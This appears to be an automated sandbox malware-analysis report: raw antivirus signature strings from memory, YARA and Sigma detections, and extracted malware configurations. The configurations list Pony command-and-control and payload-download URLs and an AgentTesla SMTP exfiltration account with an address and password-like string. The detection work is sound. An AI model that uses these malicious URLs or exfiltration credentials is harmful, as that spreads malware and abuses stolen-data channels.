api-ms-win-crt-runtime-l1-1-0 Library FileVersion10.0.10126.0 (GitEnlistment(amopslocal).210831-1009)\\ InternalNameapi-ms-win-crt-runtime-l1-1-0  Microsoft Corporation. All rights reserved.d OriginalFilenameapi-ms-win-crt-runtime-l1-1-0j% I2ID; :su7F <VL 4 <f}ak 4#B{# O%5'V W@G<E q'pBbd AF=7** = F0. )K':_ =!uM'* _)+-; {&PFlD> =l~$/ FZdm7 =oR>9 9LEj+ OgCO| <ER%\t =6(}\t u|Vuu c@Sa- E\"3y@ %!(s{m ]^NK] ,<i:= :^r$\t 4>f,h-{ ?k&pj ?p6U,< g3?wF USvB)7 FX66p9 2lY8M  _)U4` chaz(( !#OFN:cscript.exe cscript.pdb 2Console Based Script Host ScriptEngine ScriptEnginea{ !#HSTR:bot_exploit_general Trying to exploit IP: %s %s %s: Exploiting IP: %s %s %s: Failed to exploit IP: %s %s %s: Failed to exploit IP: %sa{ shell setup information: :uptime: %-.2d days %-.2d hours %-.2d minutes %-.2d seconds :uptime: %-.2d days %-.2d hours %-.2d minutes %-.2d secondsa{ !#HSTR:Win32/Stresid  !#TELPER:HSTR:PDP01.B!dha LoadLibrary samsrv.dll failed  DriverProc PDP.dll PDP.dlla{ !#HSTR:Backdoor:Win32/Genevieve.C!dha  ParaCmd Error Compress Data Error  WinServer2003  CreateWork TCP.exe TCP.exea| !#ALF:Ransom:Win32/KeyPass.MAK!MTB !#ALF:Trojan:MSIL/AgentTesla.BSS!MTB !#HSTR:Trojan:Win32/Stealer.KB!MTB ND:\\workspace\\workspace_c\\GjOGoOIgHJEwh52iJ_20\\Release\\GjOGoOIgHJEwh52iJ_20.pdb ND:\\workspace\\workspace_c\\GjOGoOIgHJEwh52iJ_20\\Release\\GjOGoOIgHJEwh52iJ_20.pdba| !#ALF:Trojan:Win32/PasswordStealer.DFR!MTB !#HackTool:Win32/HaDuFe.A!dha hash.dll hash.dllAddDelGet Hash 0.99 RtlCreateUserThreadHash 0.99 Cannot get LSASS.EXE PID! a| !#ALF:Backdoor:Win32/Turlasvc.P srservice hkmsvc ModStart ModStop ModuleStart  ModuleStop  ModuleStopa| !#HSTR:Trojan:Win32/Startpage.CU ECHO \"Start Page\"=\"http://  ssaver.exe  nightstar.net installing screensaver installing screensavera|(( !#BM_AT:KPortScan3 :/Icon/kps.png  ip,port,state  2scanFinished() 1on_scanFinished() ??1QHBoxLayout@@UAE@XZ ??1QHBoxLayout@@UAE@XZa} !#ALF:HackTool:Win32/KMSActivator.PK!MTB KMS Client Emulator   KMS Server %KMS Client\\bin\\Release\\KMS Client.pdb %KMS Client\\bin\\Release\\KMS Client.pdba} !#ALF:Trojan:Win32/VBKrypt.AW!MTB #Adobe Photoshop CC 2017 (Macintosh) Midnight logo  Photoshop 3.0  Photoshop 3.0a} !#PUA:Block:ProxyCap !%s/api.php?act=%s&logininfo=%s|%s Taro Labs $www.sockscap64.coma} !#HSTR:Trojan:Win32/HarwickLike!dha PID: %d $Failed to create a shell connection. connect IP Port svchost.exea} !#PUA:BundlerCluster:AdaEbook ttoolwindow<  a~bra~!$g~  dlctl_no_java dlctl_no_clientpull dlctl_forceoffline dlctl_forceofflinea} !#AllowList:HilanPro <Projects\\CreateMessage\\TestMessage\\obj\\Debug\\ivtExchange.pdb ivtExchange.exea}22 !#OFN:gmer.sys GMER Driver  gmer64.pdb gmer64.sys  KeUnstackDetachProcess  IofCallDriver  IofCallDrivera~ !#HSTR:VirTool:Win32/VBInject_emotet.4 LBVDFD675765DFBDFB575BFDFB6576FBDFB7575a~ !#HSTR:Trojan:Win32/Seetdoty.A  Commandie timStatus txtView  CommandietimStatustxtView webPop1 webPop2 webPop3 webPop1webPop2webPop3 adsl1 adsl2 NetPK adsl1adsl2NetPKa~ !#HSTR:TrojanDropper:Win32/Evotob_Decryption !#BadName.Used.In.DotNET wnet.exe wnet.exe<Module> tim.exe tim.exe<Module> wservice.exe wservice.exe<Module> usbservice.exe usbservice.exe<Module>a~ !#TEL:Trojan:Win32/Lokibot.CZ!MTB !#AllowList:Avanite C:\\Development\\AvaWCM *Copyright Avanite Ltd administration@avanite.com administration@avanite.coma~ !#HSTR:Backdoor:Win32/Genevieve.B!dha  ShellCode.dll -send online information with new encrypt key:   WinServer2003a~ !#HSTR:PUA:Win32/FusionCore.A3 [Rename] %ls=%ls %s%S.dll PotPlayer unknowndll.pdba~ !#HSTR:Worm:Win32/Puce.gen!A \\Kazza \t\\Morpheus \t\\Grokster  \\Bearshare \t\\Gnucleus \\Edonkey2000\\Incoming \\Edonkey2000\\Incominga !#TELPER:HackTool:Win32/Logchil.C!dha '\\SuperLight2.0\\release\\MfcDllServer.pdb $\\SuperLight\\release\\MfcDllServer.pdb $\\SuperLight\\release\\MfcDllServer.pdba !#PUA:BundlerCluster:Bassmod bassmod_free bassmod_init bassmod_musicplay bassmod_musicfree bassmod_musicload bassmod_musicloada (.whenu.com/products_ #WhenU SaveNow advertising software. display pop up display pop upa !#HSTR:TrojanDropper:Win32/Delf.BM  preved.bat /Portions Copyright (c) 1999,2003 Avenger by NhT /Portions Copyright (c) 1999,2003 Avenger by NhTa !#Lowfi:PUA:BundlerCluster:GetNow lproductversion getredirect app_manifesta !#PUA:BundlerCluster:InstallCore2 +/tasks=\"comma separated list of task names\" /password=password /type=type name /type=type namea !#TEL:Win32/Backdoor:PreciousLies.A!dha *Network Setup Service gracious_truth.jpg  eibmur.dll  eibmur.dlla !#ALF:Program:Win32/DLAssist.R :DUMo - Drivers Update Monitor KC Softwaresa !#HSTR:VirTool:Win32/Obfuscator.E  hel32hkern hllochualAhVirt hrotehualPhVirt hueryhualQhVirt hdPtrhdReahIsBa hdPtrhdReahIsBaa !#ALF:HSTR:TrojanDownloader:Win32/Rofin.A!bit http://download.cpudln.com HideSys.sys  HideSys64.sys TenSafe.exe TenSafe.exea !#HSTR:Torrent:Win32/BitLord BitLord bitlord.com torrent_paused BitLordCrashReporter.exe 1shutdown_bitlord() 1shutdown_bitlord()a !#HSTR:VirTool:Win32/VBInject.gen!AN.2 SetThreadContexta !#ALF:Trojan:Win32/CobaltStrikeMem.M!ibt hwiniThLw hnethwiniThLw User-Agent: Mozilla/5.0 ( !#ALF:Trojan:Win32/VBKrypt.AS!eml ,foredateterrestris.exe tssafeedit.dat aaa_TouchMeNot_.txta !#HSTR:PWS:Win32/OnLineGames.AA &{9184057B-D51B-4C2A-B779-EB4F548E9FDA} %s\\%s\\ShellExecuteHooks &mac=%s /mb.asp /mb.aspa !#TEL:Trojan:Win32/Trochil.D!dha appeur.gnway.cc dns.websecexp.com Outlook2002_POP3  IeChecker.exe  IeChecker.exea !#HSTR:Win32/Small.gen!E Windows\\CurrentVersion\\Run netsh firewall If Exist  UrlDownload UrlDownloada !#HSTR:VBInject_trampoline &H59595958 &H5059a !#HSTR:Backdoor:Win32/ShinoBot.A Shinobot get_Computer get_Application get_User \tget_Forms !#AllowList:MSCorp.A !#HSTR:Win32/Conhook.dr !#TEL:TrojanDropper:Win32/Plugx!dha Nvcpl  %s\\Rundll32.exe \"%s\", DisPlay 84 Plcy.dat ms_win32_eventa !#BM_AT:AnyDesk AnyDesk.pdb .philandro Software GmbH  e9cae05e6fab113c28b4dc65c6d03226  e9cae05e6fab113c28b4dc65c6d03226a !#HSTR:Trojan:Win32/C2Lop.gen!E3 $Microsoft Visual C++ Runtime Library e:\\caoe.PDB  e:\\caoe.PDBa !#HSTR:VirTool:Win32/ROPINJECTOR.B!MTB !Disassembly after ROP compilation ,Searching for gadget endings in code segment ,Searching for gadget endings in code segmenta PC Defender  NoEntireNetwork prockill64.exea x64.zip x32.zip ,admin= ,guid= \\Bypass \\guid.log ct.zip ct.exe ct.exea !#TEL:Trojan:Win32/RykShell D$$[[aYZQ !#HSTR:VirTool:MSIL/NetInjectAProject.A IsSandboxie IsNormanSandbox IsSunbeltSandbox IsAnubisSandbox IsCWSandbox IsCWSandboxa !#TEL::MacOS/MetasploitReverseShell.D !#ALF:HackTool:Win32/Patcher.P!MTB  GPM-XM-754678 CONGRATULATION File Succesfully patched CRACK y95ab@hotmail.com y95ab@hotmail.coma !#HSTR:RookIE  RookIE/1.0 :*:Enabled:fg_ol_silent  AVUdpPacket@@ \tadns_lib_ admshare.dat \tpstat.dat secustat.dat secustat.data !#SLF:Trojan:MSIL/Rolaz.B LMicrosoft.Windows.Sense.AttackScenario Troj.exea !#BM_AT:Winexe \\\\.\\pipe\\ahexec \twinexesvc  \\\\.\\pipe\\ntvr  Argument domain error (DOMAIN) Incorrect runas credentials Incorrect runas credentialsa !#ALF:Trojan:Win32/Injector.MFP!MTB !#HSTR:Tencent_UsbEjectHelper \\USB_EJECT_45EF662D-FDD7-41F7-B850-534C270CE41Aa !#TELPER:Trojan:Win32/PlaLsalog!dha 6PasswordChangeNotify called: username[%s] password[%s] PasswordFilter:Operation True PasswordFilter:Operation Truea !#AllowList:AerialTool !Microsoft.UltraCam.AtTool.Managed \"UltraMap Aerial Triangulation Tool .NETFramework,Version=v4.5 .NETFramework,Version=v4.5a !#HSTR:Trojan:Win32/Matcash.gen.1 5Local Settings\\Temporary Internet Files\\bestwiner.stt SystemBiosDatea !#SLF:Trojan:Win64/Dogyb.D!dha Set table data ok. It works, Success! Open process falied bitmap is set null bitmap is set nulla !#TEL:Trojan:Win32/Noosuss.A!dha [-]L0ad dr1ver [-]ren4me succ3ssfully!! [-]over writed [-]Read Shell CfgInfo failed [-]Read Shell CfgInfo faileda !#ALF:PWS:MSIL/ClipSteal.S!MTB getMSN75Passwords  set_CreateNoWindow set_CreateNoWindowa !#ALF:HSTR:DotNET.Packer.S001 CheckRemoteDebugger BitTreeDecoder  BitDecoder  LzmaDecoder  LenDecoder  LenDecodera !#HSTR:Trojan:MSIL/AgentTesla.P25!MTB X_X_X_X_A_A_A_A_S_S_S_S CreateInstancea !#HSTR:Virus:Win32/Detnat.F !#ALF:Trojan:Win32/VBKrypt.AY!MTB *;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80 ,&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ,&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyza !#TEL:Adware:Win32/HPDefender.GA!MSR Dnew_Clicker\\SIV\\original\\daemon\\NewClieckerDll\\Release\\SIVUpdate.pdb DwOTsglEzneUiPF DwOTsglEzneUiPFa !#Backdoor:Win32/DBD_A lulzsecpwnsj00 (failed to execute shell (net helpmsg %s) 'connect (tcp): dbd [-options] host port 'connect (tcp): dbd [-options] host porta !PUA:Win32/Softcnapp wuming/png/monids.png dwonload.wencyy.top 8D:\\XiaZaiQi\\ProjectCopy\\Mixed\\pdbmap\\WanNeng\\Install.pdb 8D:\\XiaZaiQi\\ProjectCopy\\Mixed\\pdbmap\\WanNeng\\Install.pdba !#PUA:BundlerCluster:FusionInstall idr_mainframe(  reelibrary adprovider=publicitetf adprovider=treasure adprovider=treasurea !#ALF:MSIL:Win32/Mailer d:\\\\dcap.jpg SmtpServer %{PRTSC} cvbcvbcvbcvbcvba d%evirDlacisyhP\\.\\\\  q&d%=diu&? &s%=ltt&d%=diu&etadpu=epyTputes tsoh\\cte\\srevird sys.s%\\s%a !#LowFi:HSTR:VirTool:Win32/VBInject.gen!BP Creating second thread... The time is %s toascii(%#04x) = %c toascii(0x7 !#HSTR:VirTool:MSIL/Obfuscator.DeepSea.A SThis assembly has been obfuscated with an evaluation version of DeepSea Obfuscator. SThis assembly has been obfuscated with an evaluation version of DeepSea Obfuscator.a !#Trojan:Win32/BlofeldCat.G!Lowfi ZGlobal\\{B54E3268-DE1E-4c1e-A667-2596751403AD}a !#AllowList:SimCorp \"SimCorp.XMGRs.Testing.ApiTests.pdb SimCorp.XMGRs.Testing.ApiTests \"SimCorp.XMGRs.Testing.ApiTests.dll \"SimCorp.XMGRs.Testing.ApiTests.dlla !#HSTR:TrojanClicker:Win32/Agent.K ))\t!#HSTR:TrojanClicker:Win32/Agent.K   penis pussy teens Lesbian Lesbiana !#HSTR:IntentToEnumAdapters PacketGetAdapterNames pcap_findalldevs GetPerAdapterInfo GetInterfaceInfo GetInterfaceInfoa !#TEL:Backdoor:Win32/Motalium.A!dha $%s?filename=%s&computer=%s&osinfo=%s 2__START_RUNCBTHOOK_MARK__a !#HSTR:bot_threads -%s %s thread stopped. (%d thread(s) stopped.) %s No %s thread found. %s Thread List: %s End of list. %s End of list.a !#HSTR:Program:Win32/WorldAntiSpy.1 worldantispy.com/enter/%u /VERYSILENT /SUPPRESSMSGBOXES worldantispy.com /setup.exe worldantispy.com/setup.exea !#Adware:Win32/180SolutionsSearchAssistant *\\180Solutions\\n-CASE\\ \\180SA  /did= \tmodBundle \tmodBundlea !#Lowfi:PUA:BundlerCluster:SoftPulse (install notconfirmed .inet_e_download_failurea !#ALF:Trojan:Win32/Taidoor.PA!MTB A@SvcHostDLL: ServiceMain &SvcHostDLL: RegisterServiceCtrlHandler SvcHostDLL: ServiceMain SvcHostDLL: ServiceMaina !#HSTR:Trojan:Win32/Gordon.B!dha  enumcapdev telhelp C:\\windows\\system32\\test.log WinVnc IESOCKET_ACTION_CONNECT failed IESOCKET_ACTION_CONNECT faileda !#ALF:Trojan:Win32/PTASpy.A \\PTASpy\\PTASpy.csv CryptBinaryToStringWa !#Adware:Win32/CloverPlus %WINDOWS\\CloverPlus.cot minisearch.co.kr .php?client=%CLIENTID clover_love %%WINDOWS\\dhid.dh %%WINDOWS\\dhid.dha !#TEL:TrojanSpy:Win32/BBSwift.gen  liboradb.dll  Module32Next WriteProcessMemorya !#HSTR:Backdoor:Win32/Delf.DU MyDoom PRIVMSG Infectat fucka !#Adware:Win32/ArcadeWebd aj/deactivate.php ArcadeWeb Uninstaller PlaySushi uninstaller arcadeweb32.dll PlaySushi32.DLL PlaySushi32.DLLa 0Microsoft Office Erro ao abrir o arquivo,ou o 0Microsoft OfficeErro ao abrir o arquivo,ou o 1Microsoft Office Falha ao abrir o arquivo ou o 1Microsoft OfficeFalha ao abrir o arquivo ou oa !#HSTR:MSIL/DeflateExec.J!ibt (# ($ p(% s& po' t\t (( o) o* &* zCom.resources zCom.resourcesa !#TEL:Trojan:Win32/Fareit.RM!MTB PrwgK5X54YSOQ7mUdkYsrb6gN8rXOUSGJ7BKbc191a !#HSTR:Torrent:Win32/LimePro Software\\LimePro ares.net/sales/check.php TBitTorrentTransferCreator Make LimePro my default Make LimePro my defaulta !#ALF:PWS:Win32/Engazal.A the lazagne project emf_core.exe emf_run.bat stealer plugin report [ars plugin]: getted hwid: [ars plugin]: getted hwid:a !#ALFPER:Trojan:Win32/Dryvan.M!dha win7load  Server.dll ServiceMaina !#SLF:Win32/Manzan!config PayloadUUID Jitter \tKillDate  SessionId  UserAgent ProxyPassword CallbackHosts CallbackHostsa !#Trojan:Win32/PowerShell.SC!MTB 6 3\\$0S ]3\\$0S D$( % !#TEL:Trojan:Win32/FusionBlaze.C!dha J[injectPE] svcName=%s modulePath=%s| pid=%d tid=%d hModule=0x%p entry=0x%p %s:%d:%s:%d:%d %s:%d:%s:%d:%da !#ALFPER:HSTR:LinkuryInstaller.01 md.xml 0.exe\" -f noah.dat -l -a  \\wininit.inia !#HSTR:Virus:Win32/Detnat.E \t\t\t!#HSTR:Virus:Win32/Detnat.E Agent%ld  %s%s%d.exe netrun  netdat.tmp delphi %s.exe SVCH0ST C:\\Recycled\\ C:\\Recycled\\a !#HSTR:Torrent:Win32/BitTorrent BitTorren btweb.exe router.bittorrent.com  torrent_added torrent_pauseda !#BM_WSCRIPT_EXE p#WScript Error - Windows Script Host!Input Error - Windoa !#HSTR:VirTool:Win32/CeeInject.S2 !#ALF:Trojan:Win32/Dermer.A!dha .log.support-news.online 0supports.jumpingcrab.coma !#TEL::MacOS/MetasploitReverseShell.C (j?XH 0meh`v 4amg  unamjm )tnc% ostnnh-Y aostA !#HSTR:HackTool:Mikatz_VI SystemFunction005 SystemFunction025 SamEnumerateDomainsInSamServer  CryptGetHashParam CryptGetHashParama >WorkProjects\\NetNucleosProjects\\WhereSphere_Rebranding\\gabpath GPFF3Component GPFF3Com.dlla !#HSTR:Exploit:Win32/DouglasTran!dha ![INFO] add user to group fail: %x GuiWAng!@#9bd* [ERR]  get import address fail admin$a !#HSTR:Torrent:Win32/Tixati  tixati.pdb (Tixati Software Inc. xfer_seedingminutesstop trackersettings_add trackersettings_adda !#Allo *srvCheckresponded.tmpx !#ALF:Trojan:Win32/Turla.SP!dha Projects\\rundll\\x \\Release\\rundll.pdb tasklistw.exe.mui tasklistw.exe Microsoftr Windowsr Operating Systemx !#ALF:Trojan:Win32/Roobing.J!dha 147!@#Asad \\MozillaFirefox\\SystemExtensionsDev\\* \\MozillaFirefox\\Cache\\* task notopen \\generator\\Proj1 \\generator\\Proj1x !#HSTR:Gootripor.A0 pocdpocpdoxxlkala 66697265666F782E657865 6368726F6D652E657865 696578706C6F72652E657865 !#ALF:Trojan:Win32/BlackHole.YP!MTB http://ip.aq138.com/setip.asp C:\\WINDOWS\\SYSTEM32\\inetput.exe HTTP://www.EEEEEEE.EEE C:\\$$a29639$$.batx !#TEL:PhanEvade.ShInj.1 !#ALF:TrojanDownloader:Win32/Numbidea.A!dha HideUpdatePz HideSysUpfile HideSysCmd http://%s/index.htm?id=%4d&content=%s http://%s/index.htm?content=%s&id=%d Software\\Microsoft\\Internet Explorer\\Recovery Software\\Microsoft\\Internet Explorer\\Recoveryx !#Adware:Win32/Kremiumad /c/version.php /c/s.php?p= /c/t.php?old_ad_ids= /_adm/ctrl/info.php /_adm/ctrl/sq.php?m=b&pid= /c/xword /c/xurl /control/deny_target_list !#ALF:Trojan:Win32/Ursnif.RJO!MTB f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wtombenv.c D:\\Project\\C++\\communicator\\Release\\communicator.pdb GetFileType GetCPInfox !#TEL:Trojan:MSIL/Spotealer.KA!MTB config.vdf  steal ssfn* Windows Domain Password Credential Windows Domain Certificate Credential Windows Web Password Credential Windows Web Password Credentialx !#ALF:Trojan:MSIL/AgentTesla.CDD!MTB \t\t\t!#ALF:Trojan:MSIL/AgentTesla.CDD!MTB $a1fd0ff7-636c-4e69-bddb-545db9e4245e !#ALF:Trojan:MSIL/FormBook.AQG!MTB \t\t\t!#ALF:Trojan:MSIL/FormBook.AQG!MTB Newtonsoft.Json.dll add_AssemblyResolvex !#HSTR:Trojan:MSIL/AgentTesla.PA5!MTB \t\t\t!#HSTR:Trojan:MSIL/AgentTesla.PA5!MTB HarryPotter HarryPotter.Resources.resources HarryPotter.Resources.resourcesx !#HSTR:Adload_Rofin.A1 download.cpudln.com/ 11/ad209 CmdLine  -uid: CmdLine -uid: /fproc UrlNav /fprocUrlNav \\\\.\\SSDTProcess \\\\.\\SSDTProcessHideSys.sys FixTool \\\\.\\FixTool Restore.sys FixTool\\\\.\\FixToolRestore.sys first.exe first.exex !#TEL:Trojan:Win32/AgentTesla.RR!MTB .resources !#TEL:Trojan:MSIL/AgentTesla.OXZ!MTB   Delay Delayx !#HSTR:Trojan:Win32/Alureon.gen!N.modules tdlproc.log tdlmain.dll tdll.dll tdllog.dll tdsserrors.log tdssservers.dat tdsslog.dll tdssmain.dll tdssl.dll tdssserv.sys tdssserv.sysx !#HSTR:Program:Win32/LookThisUp LookThisUp Installer -sky signature -eku 1.3.6.1.5.5.7.3.1 -h 1 -cy authority -a sha1 -m 132x !#ALF:HackTool:Win32/BlackboneStrings.A!dha blackbone::NtLdr:: blackbone::Native:: blackbone::Graph:: blackbone::ProcessCore:: blackbone::MMap:: blackbone::RemoteExec:: underground::KernelApi:: underground::KernelApi::x !#HSTR:BingSearchCby \\Release\\DefaultPack.pdb dSoftware\\Microsoft\\Internet Explorer\\SearchScopesx !#HSTR:MSIL/AgentTesla.RR030821_011!MTB Shbhqyuamxzdlbswroomxcz.l.resources Shbhqyuamxzdlbswroomxcz.m.resources Shbhqyuamxzdlbswroomxcz.Properties.Resources.resources Shbhqyuamxzdlbswroomxcz.Ordiyfstfgkqkv.dll Shbhqyuamxzdlbswroomxcz.Ordiyfstfgkqkv.dllx !#ALFPER:HSTR:NirsoftHacktool.A1 \\mailpv.pdb Mail PassView \\PasswordFox.pdb timePasswordChanged, timesUsed FROM moz_logins \"Account\",\"Login Name\",\"Password\",\"Web Site\" $NIRSOFT_IEPV_KEY$ \\NirSoft\\iepv \\NirSoft\\iepvx !#ALF:Trojan:Win32/Zumanek.G!MTB User-Agent: ArmadilloDRM/1.0 \\.\\mailslot\\server\\ C:\\TRANSFER.TXT SMBiosData  #SELECT * FROM Win32_OperatingSystem !#HSTR:Trojan:MSIL/AgentTesla.VI94!MTB DownloadData https://cdn.discordapp.com/attachments/877973640937897984/878021367742734376/wdqdwq.dll Whttps://cdn.discordapp.com/attachments/877973640937897984/878021367742734376/wdqdwq.dllx !#TEL:Trojan:Win32/TrickBotCrypt.MT!MTB   \t!#TEL:Trojan:Win32/TrickBotCrypt.MT!MTB DllUnRegisterServer UrlIsNoHistoryA ILCombine ILCombinex !#ALF:Backdoor:Win32/Frocat.A!MTB    (*API).Shred (*API).Gomap (*API).Speedtest (*API).Screen (*API).Reconnect (*API).NewHostname (*API).RunCmd (*API).SendFile (*API).RecvFile (*API).GetHardware (*API).GetHardwarex !#ALF:Trojan:MSIL/Spynoon.MFP!MTB $ee14449f-4198-4d2d-83b1-c6e8df42e3f0 %$ee14449f-4198-4d2d-83b1-c6e8df42e3f0 Downloading Opening... System.Net get_Currentx !#HSTR:Trojan:MSIL/AgentTesla.VI35!MTB B Hunterx !#HSTR:Trojan:MSIL/AgentTesla.OXAY!MTB z ZAZAZAZAZZA GetMethodx !#ALFPER:HackTool:MSIL/Gdlogger.A!dha op_In quality gdrivemo nitor.exeH LegalCop yrightCopyrig   2020* !#HSTR:TrojanDownloader:Win32/Banload.gen!B.download .com.br/ /adspostback_server.aspx?userid=%s&source=%s /ws/reportws.asmx?wsdl /api_ajax.ashx?clientid=%sx !#ALFPER:Trojan:Win32/Heriplor.A!dha !#HSTR:Program:Win32/AdGazelle AdGazelle End User License Agreement (EULA) bshow_partner_offershow_partner2_offershow_offerx !#ALF:TrojanDownloader:Win32/Notorgatro.B nrrv<))qqq(uluctpoei Grsgjo|g i&Eihejs STJBiqhjigbRi@ojcG Qohbiqu STJKIH(BJJ Xfak`x|/Nhja{j/B|h N}~zfy`/a /zb/xfa<=/y cfk`. Icn|g_czhfa!jwj Icn|g_czhfa!jwjx !#AllowList:SSHCERT C:\\WINDOWS\\SYSTEM32\\powrprof.dll https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/PROTOCOL.certkeys?rev=HEAD /usr/local/go/src/runtime/runtime-gdb.py sandcastle232.ash9.facebook.com sandcastle232.ash9.facebook.comx !#AllowList:19a4 alert tls $EXTERNAL_NET any"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpCoinMiner_StringsDetects mining pool protocol string in ExecutableFlorian Roth
  • 0x2dd0c:$s1: stratum+tcp://
00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
    00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpJoeSecurity_CoinhiveYara detected Coinhive minerJoe Security
      00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpCoinMiner_StringsDetects mining pool protocol string in ExecutableFlorian Roth
      • 0x30c98:$s1: stratum+tcp://
      00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
        Click to see the 574 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        35.3.MpSigStub.exe.15b1ad30826.62.raw.unpackclearlogDetects Fireball malware - file clearlog.dllFlorian Roth
        • 0x210a1:$s3: hhhhh.exe
        • 0x2108b:$s4: ttttt.exe
        • 0x21075:$s6: cle.log.1
        35.3.MpSigStub.exe.15b1b9c89b2.43.raw.unpackIMPLANT_4_v5BlackEnergy / Voodoo Bear Implant by APT28US CERT
        • 0x1ef43:$GEN_HASH: 0F BE C9 C1 C0 07 33 C1
        35.3.MpSigStub.exe.15b1b9c89b2.43.raw.unpackDerusbi_Kernel_Driver_WD_UDFSDetects Derusbi Kernel DriverFlorian Roth
        • 0x1bc66:$x3: \??\pipe\usbpcex%d
        • 0x1bcb4:$x4: \??\pipe\usbpcg%d
        35.3.MpSigStub.exe.15b1b9c89b2.43.raw.unpackSUSP_XORed_MozillaDetects suspicious XORed keyword - Mozilla/5.0Florian Roth
        • 0x1f5b3:$xo1: Ik~mhhe+1*4
        35.3.MpSigStub.exe.15b1a7d1391.177.raw.unpackXOR_4byte_KeyDetects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan)Florian Roth
        • 0x38b23:$s1: 85 C9 74 0A 31 06 01 1E 83 C6 04 49 EB F2
        Click to see the 430 entries

        Sigma Overview

        Networking:

        barindex
        Sigma detected: RegAsm connects to smtp portShow sources
        Source: Network ConnectionAuthor: Joe Security: Data: DestinationIp: 116.0.120.83, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, Initiated: true, ProcessId: 5916, Protocol: tcp, SourceIp: 192.168.11.20, SourceIsIpv6: false, SourcePort: 49812

        Jbx Signature Overview

        Click to jump to signature section

        Show All Signature Results

        AV Detection:

        barindex
        Antivirus detection for URL or domainShow sources
        Source: http://shdjhgftyhgjklolkjio.dns.navy/bcz/document.docAvira URL Cloud: Label: malware
        Source: http://costacars.es/ico/ortodox.phpAvira URL Cloud: Label: malware
        Found malware configurationShow sources
        Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpMalware Configuration Extractor: Metasploit {"Type": "Execute Command", "Command": "\u0001"}
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpackMalware Configuration Extractor: Pony {"C2 list": ["http://www.trotux.com/?z=", "http://www.zhongsou.com/kefu/zskf.htm", "http://www.w3.org/1999/xsl/transform", "http://evanstechnology.com", "http://41.59.0.100/intranet", "http://www.microsoft.com", "http://www.direct-ip.com/", "http://downloadfilesldr.com/index5.php?adv=141", "http://spywaresoftstop.com/download/141/setup.exe", "http://service.srvmd6.com/Mac/getInstallerSettings/?version=", "http://gveejlsffxmfjlswjmfm.com/files/", "http://so1.5k5.net/interface?action=install&p=", "http://thespecsupportservice.com/uno.dat", "http://110.42.4.180:", "http://pznjaslo.pl/wp-content/outstanding-invoices/", "http://aindonashi.blogspot.com/", "http://www.alibaba.com", "http://(www|corail)\\\\.sudoc", "http://downloadfilesldr.com/index2.php?adv=141", "http://santasalete.sp.gov.br/jss/", "http://acayipbiri.blogspot.com/", "http://bardubar.com/mMS83JIdhq/ieygBSH38hsJa/", "http://xn--", "http://a.pomf.cat/", "http://cicahroti.blogspot.com/ ", "http://22y456.com/", "http://my-speak.eu/csioj.exe", "http://babukq4e2p4wu4iq.onion", "http://62.210.214.", "http://articlunik.blogspot.com/", "http://spotdewasa.blogspot.com/", "http://basti.ciseducation.org/website/images/prettyphoto/dark_square/.x1-unix/", "http://www.nytimes.com", "http://contentedmerc.xyz/BAYgODA0NUQ2OEY1RTA2ODg4RDhCQzlEQzRBRUU3QTA5OUI=", "http://d1.downxia.net/products/", "http://www.gamedanji.cn/ExeIni", "http://aitimatafb.blogspot.com/", "http://berkah2013.blogspot.com/", "http://bigboobsp.blogspot.com/ ", "http://aspeja.org/question/", "http://www.apple.com", "http://www.chipsroofingloveland.com/status/services-06-26-18-new-customer-vh/", "http://microhelptech.com/gotoassist/", "http://pastebin.com/", "http://www.fastclick.com", "http://errors.statsmyapp.com", "http://gicia.info/cd/cd.php?id=%s&ver=g", "http://musah.info/", "http://%s/buy_online.php", "http://apee296.co.ke/tatiyv6824540/gescanntes-dokument/zahlungserinnerung", "http://www.tripod.com", "http://batrasiaku.blogspot.com/", "http://gaigoixxx.blogspot.com/ ", "http://www.sqwire.com", "http://arthisoft.blogspot.com/ ", "http://www.steelbendersrfq.cf/", "http://gg", "http://www.", "http://yamaofficial.com/rxuczm/3415201.png", "http://www.xanga.com", "http://www.cnn.com", "http://xn---82-qdd0akcfirgv4j.xn--p1ai/ups-ship-notification/mar-13-18-07-06-38/", "http://wmwifbajxxbcxmucxmlc.com/files/", "http://81.177.26.20/ayayay", "http://i.compucrush.com/i.php", "http://jugnitv.com/final.jpg", "http://www.consumerinput.com/", "http://104.236.94.", "http://cl.1ck.me/", "http://seuufhehfueughek.ws/", "http://bonkersmen.blogspot.com/", "http://www.j.mp/", "http://lialer.com/wFBIQQUccZOdYQKJvhxm/ejrwqokckt.exe", "http://www.mlb.com", "http://www.friskypotato.com/", "http://tumicy.com/plqijcndwoisdhsaow/", "http://pages", "http://www.yahoo.com", "http://whatami.us.to/tc", "http://darkside", "http://www.monster.com", "http://www.netscape.com", "http://speedmasterprinters.co.za/erroreng/erroreng/erroreng/erroreng/ii.php", "http
        Source: RegAsm.exe.5916.8.memstrminMalware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "purchasing@cselegance.comCSE.868mail.cselegance.com"}
